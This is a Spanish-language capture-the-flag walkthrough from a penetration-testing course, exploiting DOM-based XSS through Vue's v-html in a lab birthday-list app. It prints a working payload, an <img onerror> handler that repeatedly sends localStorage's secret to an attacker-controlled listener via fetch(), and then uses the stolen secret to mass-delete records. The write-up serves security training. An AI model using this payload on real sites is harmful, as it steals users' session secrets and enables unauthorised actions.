XUT_ / COURSES / PENETRATION TESTER

DOM-Based Attack Challenge

Ahora que entendemos los ataques basados en DOM, y más específicamente, el XSS basado en DOM, es hora de poner nuestro conocimiento a prueba. Usa el siguiente comando para añadir una entrada a /etc/hosts:

sudo echo MACHINE_IP lists.tryhackme.loc >> /etc/hosts

Una vez hecho, navega hasta http://lists.tryhackme.loc:5173/. Ahí tendrás una aplicación sencilla de lista de cumpleaños que es vulnerable a XSS DOM-based attacks. Puedes añadir y actualizar cumpleaños pero no borrarlos. Necesitas armamentizar XSS para poder borrarlos. Una vez que borres todos recibirás la flag.


Enumeración de una Aplicación de Frontend Moderna

Para poder hacer este reto, necesitas analizar la aplicación Vue. Al navegar hasta la aplicación verás lo siguiente:

DOM-Based Attack Challenge

Si usas View Page Source no te ayuda mucho:

DOM-Based Attack Challenge

Sin embargo, el navegador reconstruirá la aplicación Vue para nosotros en el debugger. Verás lo siguiente:

DOM-Based Attack Challenge

Usando esto puedes navegar a src -> components, lo que te mostrará los archivos Vue reconstruidos como se muestra debajo:

DOM-Based Attack Challenge


Challenge

  1. Si buscamos por los parámetros editables podemos ver lo siguiente: DOM-Based Attack Challenge
  2. Si buscamos en internet v-html Vue: DOM-Based Attack Challenge Person, sin embargo es contenido dinámico proporcionado por el usuario. Por lo que ya tenemos nuestro source.
  3. Gracias a las pistas de THM sabemos que hay otro usuario, y que probablemente ellos tengan el secreto real, porque nosotros no: DOM-Based Attack Challenge
  4. Por lo que si podemos hacer que un usuario que visita la página nos lo mande podremos eliminar los cumpleaños: DOM-Based Attack Challenge
  5. Investigamos cómo mandar un componente de la app por JS:
js
fetch('http://URL:PORT?secret=' + ecodeURIComponent(localStorage.getItem('secret'))).then(response => {});
  1. Como nos dicen que si no obtenemos la respuesta esperada puede que tengamos que investigar al usuario más tiempo, añadimos un intervalo que ejecuta el código cada 2 segundos.
js
setInterval(function() {fetch('http://URL:PORT?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);
  1. Por último envolvemos todo en nuestro truco <img> para el payload final.
html
<img src="x" onerror="setInterval(function() {fetch('http://URL:PORT?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);">
  1. Esto lo metemos en el parámetro Person habiendo configurado nuestro servidor de escucha: DOM-Based Attack Challenge
  2. Observamos las comunicaciones con nuestro servidor: DOM-Based Attack Challenge
  3. Ya tenemos el secreto. Ahora tenemos que conseguir el id de los cumpleaños para poder borrarlos: DOM-Based Attack Challenge
  4. Vemos que hay un path donde parece que están los IDs: http://lists.tryhackme.loc:5001/bdays/: DOM-Based Attack Challenge
  5. Hacemos una lista con los IDs: DOM-Based Attack Challenge
  6. Hacemos un bucle que haga peticiones al endpoint de borrado: DOM-Based Attack Challenge
  7. Si nos metemos en la página y la recargamos vemos que ya no hay cumpleaños: DOM-Based Attack Challenge
  8. Ahora si miramos el debugger otra vez: DOM-Based Attack Challenge
  9. Por lo que miramos allí: DOM-Based Attack Challenge